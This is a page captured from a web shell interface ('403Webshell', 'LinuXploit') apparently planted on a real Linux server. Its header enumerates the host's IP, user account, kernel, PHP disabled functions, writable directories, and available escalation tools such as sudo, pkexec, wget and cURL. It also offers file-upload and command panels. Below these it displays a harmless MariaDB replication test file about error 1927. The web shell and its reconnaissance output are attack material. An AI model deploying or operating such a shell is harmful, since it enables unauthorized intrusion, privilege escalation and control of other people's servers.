403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/rpl/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/rpl/include/check_slave_skip_errors.inc
# ==== Purpose ====
#
# MDEV-38624: Verify that ER_CONNECTION_KILLED (1927) cannot be added to
# --slave-skip-errors, even when explicitly specified or when using "all".
#
# Called from tests that configure --slave-skip-errors with 1927 or "all".
# Checks that 1927 is absent from slave_skip_errors and that the expected
# warning appears in the slave error log.

--connection slave
call mtr.add_suppression("Slave: ER_CONNECTION_KILLED .* is not allowed in --slave-skip-errors");

--let $skip_errors= query_get_value(SHOW VARIABLES LIKE 'slave_skip_errors', Value, 1)
if (`SELECT '$skip_errors' LIKE '%1927%'`)
{
  --die MDEV-38624: Error 1927 must not be added to slave_skip_errors
}

--let $assert_file= $MYSQLTEST_VARDIR/log/mysqld.2.err
--let $assert_select= ER_CONNECTION_KILLED .* is not allowed in --slave-skip-errors
--let $assert_count= 1
--let $assert_text= Warning about ER_CONNECTION_KILLED should appear in error log
--source include/assert_grep.inc

Youez - 2016 - github.com/yon3zu
LinuXploit